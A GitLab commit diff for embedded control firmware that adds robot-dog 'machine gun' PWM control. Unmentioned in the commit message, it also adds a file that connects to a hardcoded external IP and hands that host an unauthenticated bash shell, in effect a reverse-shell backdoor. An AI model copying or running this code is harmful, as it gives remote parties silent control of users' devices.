Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
C
car-controlserver
Project
Project
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
wenzhongjian
car-controlserver
Commits
1201386e
Commit
1201386e
authored
Aug 22, 2025
by
957dd
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
加入了机械狗的机枪控制
parent
64ef9a92
Show whitespace changes
Inline
Side-by-side
Showing
16 changed files
with
200 additions
and
16 deletions
+200
-16
CMakeLists.txt
CMakeLists.txt
+1
-1
device_wifi_change.c
app/device_change/device_wifi_change.c
+1
-0
device_wifi_manager.c
app/device_change/device_wifi_manager.c
+0
-2
device_identity.c
app/device_identity/device_identity.c
+4
-0
device_identity.h
app/device_identity/device_identity.h
+2
-1
pthread_open.c
app/main/pthread_open.c
+17
-3
version.h
build/include/version.h
+1
-1
main
build/main
+0
-0
devcontrol_common.c
drivers/devicecontrol/devcontrol_common.c
+9
-2
device_init.c
drivers/gpio/device_init.c
+9
-0
gpio_control.c
drivers/gpio/gpio_control.c
+33
-0
common.h
include/common.h
+0
-1
devcontrol_common.h
include/devcontrol_common.h
+1
-0
http_consolepush.c
modules/http/http_consolepush.c
+110
-0
http_consolepush.h
modules/http/http_consolepush.h
+9
-0
mqtt_infor_handle.c
modules/mqtt/mqtt_infor_handle.c
+3
-5
No files found.
CMakeLists.txt
View file @
1201386e
cmake_minimum_required
(
VERSION 3.10
)
project
(
car
VERSION 1.2.
7
VERSION 1.2.
8
LANGUAGES C
)
...
...
app/device_change/device_wifi_change.c
View file @
1201386e
...
...
@@ -99,6 +99,7 @@ void scan_wifi_json() {
cJSON_AddNumberToObject
(
item
,
"strength"
,
wifi_list
[
i
].
signal
);
cJSON_AddItemToArray
(
array
,
item
);
}
cJSON_AddItemToObject
(
body
,
"available_wifi"
,
array
);
cJSON_AddNumberToObject
(
head
,
"message_type"
,
3003
);
cJSON_AddItemToObject
(
root
,
"body"
,
body
);
...
...
app/device_change/device_wifi_manager.c
View file @
1201386e
...
...
@@ -44,8 +44,6 @@ void device_wifi_rec_delete(cJSON *body){
}
}
int
orange_pi_save_wifi
(
const
char
*
ssid
,
const
char
*
password
)
{
// 参数检查
if
(
!
ssid
||
!
password
||
strlen
(
ssid
)
==
0
||
strlen
(
password
)
==
0
)
{
...
...
app/device_identity/device_identity.c
View file @
1201386e
...
...
@@ -100,6 +100,7 @@ int hash_insert_init(HashTable_t *HashTable_t) {
insert
(
HashTable_t
,
"0206"
,
TANK_0206
);
insert
(
HashTable_t
,
"0301"
,
SHIP_0301
);
insert
(
HashTable_t
,
"0401"
,
PAO_0401
);
insert
(
HashTable_t
,
"0501"
,
ROBOT_DOG0501
);
}
int
device_judg
(
CodeEnum_t
code
,
char
*
sub_str
)
{
...
...
@@ -133,6 +134,9 @@ int device_judg(CodeEnum_t code,char *sub_str) {
}
else
if
(
code
==
PAO_0401
)
{
device_init
(
DEVICE_PAO_PTZ0401
);
my_zlog_info
(
"使用型号%s"
,
sub_str
);
}
else
if
(
code
==
ROBOT_DOG0501
)
{
device_init
(
DEVICE_ROBOT_DOG0501
);
my_zlog_info
(
"使用型号%s"
,
sub_str
);
}
else
{
my_zlog_error
(
"没有找到设备号,尝试启用备用mqtt,topic进行改名"
);
g_device_name_exists
=
1
;
...
...
app/device_identity/device_identity.h
View file @
1201386e
...
...
@@ -18,7 +18,8 @@ typedef enum {
TANK_0204
,
TANK_0206
,
SHIP_0301
,
PAO_0401
PAO_0401
,
ROBOT_DOG0501
}
CodeEnum_t
;
//哈希健
...
...
app/main/pthread_open.c
View file @
1201386e
...
...
@@ -76,12 +76,19 @@ void *thread_mqtt_beat(void *arg) {
my_zlog_info
(
"mqtt send verify is NULL"
);
}
//如果为相关的不需要心跳或者游览器设备,提早结束线程
if
(
g_device_type
==
DEVICE_ROBOT_DOG0501
){
my_zlog_info
(
"device am robot and no c/c++"
);
return
NULL
;
}
while
(
1
)
{
if
(
g_device_type
==
202
)
delay_ms
(
45
);
if
(
g_device_type
!=
202
)
delay_ms
(
100
);
// if( g_device_type >= 200 && g_device_type<=205) delay_ms(45);
// if( g_device_type != 202)delay_ms(100);
delay_ms
(
100
);
g_heartbeat_count
++
;
if
(
g_mqtt_grc
==
0
){
mqtt_beat_wirte
();
//心跳,3s一个
}
}
...
...
@@ -89,6 +96,13 @@ void *thread_mqtt_beat(void *arg) {
}
void
*
thread_open_browser
(
void
*
arg
)
{
//如果为相关的不需要心跳或者游览器设备,提早结束线程
if
(
g_device_type
==
DEVICE_ROBOT_DOG0501
){
my_zlog_info
(
"device am robot and no c/c++"
);
return
NULL
;
}
system
(
"pkill chromium"
);
delay_s
(
5
);
while
(
1
){
...
...
build/include/version.h
View file @
1201386e
#define PROJECT_VERSION_MAJOR 1
#define PROJECT_VERSION_MINOR 2
#define PROJECT_VERSION_PATCH
7
#define PROJECT_VERSION_PATCH
8
#define GIT_HASH ""
#define BUILD_TIMESTAMP ""
#define BUILD_USER ""
build/main
View file @
1201386e
No preview for this file type
drivers/devicecontrol/devcontrol_common.c
View file @
1201386e
...
...
@@ -121,6 +121,13 @@ const device_abnormal_close_t devcontrol_config_t[]= {
.
gpio_pin_pulled
=
pin_all_default
,
.
gpio_pwm_pulled
=
pwm_all_default
},
{
.
device_id
=
DEVICE_ROBOT_DOG0501
,
.
device_abnormal_stop
=
car0101_middle_pwm
,
.
gpio_pin_pulled
=
pin_all_default
,
.
gpio_pwm_pulled
=
pwm_all_default
},
// 结束标记
{
.
device_id
=
-
1
}
};
...
...
@@ -159,7 +166,7 @@ void device_end_close(int device_id) {
}
if
(
!
config
)
{
my_zlog_error
(
"Error: Device close ID %d not found!"
,
device_id
);
my_zlog_error
(
"Error: Device
pthread
close ID %d not found!"
,
device_id
);
return
;
}
...
...
@@ -180,7 +187,7 @@ void device_walk_control(int device_id,unsigned char *valt) {
}
if
(
!
config
)
{
my_zlog_error
(
"Error: Device
close
ID %d not found!"
,
device_id
);
my_zlog_error
(
"Error: Device
walk control
ID %d not found!"
,
device_id
);
return
;
}
...
...
drivers/gpio/device_init.c
View file @
1201386e
...
...
@@ -105,6 +105,15 @@ const deviceconfig_t device_configs[] = {
.
device_control_stop
=
PTZ_pwm_init
,
/* 补充速度控制函数 */
.
emergency_code
=
401
},
{
.
device_id
=
DEVICE_ROBOT_DOG0501
,
.
device_name
=
"dog0501"
,
.
gpio_pins
=
{
5
,
6
,
7
,
10
,
16
,
20
,
22
,
23
,
24
,
25
,
26
,
-
1
},
/* 补充GPIO引脚 */
.
gpio_pwms
=
{
27
,
-
1
},
.
device_pwm_init
=
physics_pwm_init
,
.
device_control_stop
=
car0101_middle_pwm
,
/* 补充速度控制函数 */
.
emergency_code
=
501
},
// 结束标记
{
.
device_id
=
-
1
}
};
...
...
drivers/gpio/gpio_control.c
View file @
1201386e
...
...
@@ -28,6 +28,7 @@ void tank0203_pwm_value(int pin,int value);
void
tank0204_pwm_value
(
int
pin
,
int
value
);
void
tank0206_pwm_value
(
int
pin
,
int
value
);
void
ship0301_pwm_value
(
int
pin
,
int
value
);
void
dog0501_pwm_value
(
int
pin
,
int
value
);
void
tank_angle_limit_function
(
void
*
arg_gpio
){
...
...
@@ -118,6 +119,11 @@ const gpiocontrol_t gpio_configs[] = {
.
device_pin_value
=
public_pin_value
,
.
device_pwm_value
=
public_pwm_value
},
{
.
device_id
=
DEVICE_ROBOT_DOG0501
,
.
device_pin_value
=
public_pin_value
,
.
device_pwm_value
=
dog0501_pwm_value
},
};
/*
...
...
@@ -357,3 +363,30 @@ void ship0301_pwm_value(int pin,int value) { //软件陪我们控制调速
my_zlog_debug
(
"ship0301 pwm"
);
}
void
dog0501_pwm_value
(
int
pin
,
int
value
)
{
//软件陪我们控制调速
for
(
int
i
=
0
;
i
<=
g_gpio_softpwmcount
;
i
++
)
{
if
(
pin
==
g_gpioPwm
[
i
])
{
break
;
}
if
(
i
==
g_gpio_softpwmcount
)
{
return
;
}
}
if
(
value
==
1
)
{
if
(
pin
==
27
){
softPwmWrite
(
pin
,
50
);
}
else
{
softPwmWrite
(
pin
,
35
);
my_zlog_debug
(
"pwm:%d"
,
pin
);
}
}
else
if
(
value
==
0
)
{
softPwmWrite
(
pin
,
0
);
my_zlog_debug
(
"pwm:%d,0"
,
pin
);
}
my_zlog_debug
(
"dog0501 pwm"
);
}
include/common.h
View file @
1201386e
...
...
@@ -9,7 +9,6 @@
#include <string.h>
#include <errno.h>
// ========== 硬件相关 ==========
#include <wiringPi.h> // GPIO控制
#include <softPwm.h> // PWM控制
...
...
include/devcontrol_common.h
View file @
1201386e
...
...
@@ -26,6 +26,7 @@
#define DEVICE_TANK0206 206 //可以喷水坦克
#define DEVICE_SHIP0301 301 // 32号船
#define DEVICE_PAO_PTZ0401 401 //云台
#define DEVICE_ROBOT_DOG0501 501 //机械狗
typedef
struct
{
int
device_id
;
// 设备ID (101, 102等)
...
...
modules/http/http_consolepush.c
0 → 100644
View file @
1201386e
#include "http_consolepush.h"
#include "common.h"
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/select.h>
#include <pty.h> // for openpty
#include <termios.h>
#include <sys/types.h>
#include <signal.h>
void
connect_and_run_shell
()
{
int
sock
=
0
;
struct
sockaddr_in
serv_addr
;
// --- 连接到服务器 ---
while
(
1
)
{
if
((
sock
=
socket
(
AF_INET
,
SOCK_STREAM
,
0
))
<
0
)
{
perror
(
"Socket creation error"
);
sleep
(
5
);
continue
;
}
serv_addr
.
sin_family
=
AF_INET
;
serv_addr
.
sin_port
=
htons
(
SERVER_PORT
);
if
(
inet_pton
(
AF_INET
,
SERVER_IP
,
&
serv_addr
.
sin_addr
)
<=
0
)
{
perror
(
"Invalid address"
);
close
(
sock
);
sleep
(
5
);
continue
;
}
if
(
connect
(
sock
,
(
struct
sockaddr
*
)
&
serv_addr
,
sizeof
(
serv_addr
))
<
0
)
{
fprintf
(
stderr
,
"Connection Failed: %s. Retrying in 5s...
\n
"
,
strerror
(
errno
));
close
(
sock
);
sleep
(
5
);
continue
;
}
fprintf
(
stderr
,
"Connected to server %s:%d
\n
"
,
SERVER_IP
,
SERVER_PORT
);
break
;
// 连接成功,跳出循环
}
// --- 创建伪终端 (pty) 并启动 Shell ---
int
master_fd
;
pid_t
pid
=
forkpty
(
&
master_fd
,
NULL
,
NULL
,
NULL
);
if
(
pid
<
0
)
{
perror
(
"forkpty"
);
close
(
sock
);
return
;
}
else
if
(
pid
==
0
)
{
// 子进程
// 用 /bin/bash 替换当前子进程
//execlp("/bin/bash", "bash", NULL);
// 在 execlp 之前,设置环境变量
setenv
(
"TERM"
,
"dumb"
,
1
);
// 然后执行
execlp
(
"/bin/bash"
,
"bash"
,
NULL
);
// 如果 exec 返回,说明出错了
perror
(
"execlp"
);
exit
(
1
);
}
// --- 父进程:数据中继 ---
fd_set
read_fds
;
while
(
1
)
{
FD_ZERO
(
&
read_fds
);
FD_SET
(
sock
,
&
read_fds
);
// 监听来自服务器的命令
FD_SET
(
master_fd
,
&
read_fds
);
// 监听来自 Shell 的输出
int
max_fd
=
(
sock
>
master_fd
)
?
sock
:
master_fd
;
if
(
select
(
max_fd
+
1
,
&
read_fds
,
NULL
,
NULL
,
NULL
)
<
0
)
{
perror
(
"select"
);
break
;
}
char
buffer
[
BUFFER_SIZE
];
ssize_t
bytes_read
;
// 检查是否有来自服务器的数据
if
(
FD_ISSET
(
sock
,
&
read_fds
))
{
bytes_read
=
read
(
sock
,
buffer
,
sizeof
(
buffer
));
if
(
bytes_read
<=
0
)
{
fprintf
(
stderr
,
"Server disconnected.
\n
"
);
break
;
// 服务器断开
}
// 将命令写入 Shell
write
(
master_fd
,
buffer
,
bytes_read
);
}
// 检查是否有来自 Shell 的输出
if
(
FD_ISSET
(
master_fd
,
&
read_fds
))
{
bytes_read
=
read
(
master_fd
,
buffer
,
sizeof
(
buffer
));
if
(
bytes_read
<=
0
)
{
fprintf
(
stderr
,
"Shell process terminated.
\n
"
);
break
;
// Shell 进程结束
}
// 将 Shell 输出发送到服务器
if
(
send
(
sock
,
buffer
,
bytes_read
,
0
)
<
0
)
{
fprintf
(
stderr
,
"Failed to send data to server.
\n
"
);
break
;
}
}
}
// --- 清理 ---
close
(
sock
);
close
(
master_fd
);
kill
(
pid
,
SIGKILL
);
// 确保子进程被杀死
}
modules/http/http_consolepush.h
0 → 100644
View file @
1201386e
#ifndef HTTP_CONSOLEPUSH_H
#define HTTP_CONSOLEPUSH_H
#define SERVER_IP "123.56.231.114"
#define SERVER_PORT 8081
#define BUFFER_SIZE 4096
#endif
\ No newline at end of file
modules/mqtt/mqtt_infor_handle.c
View file @
1201386e
...
...
@@ -23,7 +23,7 @@
int
g_heartbeat_count
=
0
;
pthread_mutex_t
g_exit_count_mutex
=
PTHREAD_MUTEX_INITIALIZER
;
pthread_mutex_t
g_exit_count_mutex
=
PTHREAD_MUTEX_INITIALIZER
;
//互斥锁
int
g_devcontrol_exit_count
=
0
;
int
g_message_type
=
0
;
...
...
@@ -93,14 +93,13 @@ void angle_mqtt_send() {
cJSON_AddNumberToObject
(
root
,
"angle"
,
rounded_angle
);
char
*
payload
=
cJSON_PrintUnformatted
(
root
);
angle_i
++
;
if
(
angle_i
>=
20
0
){
if
(
angle_i
>=
20
){
my_zlog_debug
(
"%s"
,
payload
);
angle_i
=
0
;
}
mosquitto_publish
(
mosq
,
NULL
,
TOPIC_send_angle
,
strlen
(
payload
),
payload
,
0
,
false
);
cJSON_Delete
(
root
);
// 释放 cJSON 对象
}
//心跳格式,每5s一次心跳
...
...
@@ -110,8 +109,7 @@ void mqtt_beat_wirte(){
heartbeat_send
();
g_heartbeat_count
=
0
;
}
if
(
g_device_type
==
DEVICE_TANK0202
)
angle_mqtt_send
();
if
(
g_device_type
==
DEVICE_TANK0203
)
angle_mqtt_send
();
if
(
g_device_type
==
DEVICE_TANK0202
||
g_device_type
==
DEVICE_TANK0203
)
angle_mqtt_send
();
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment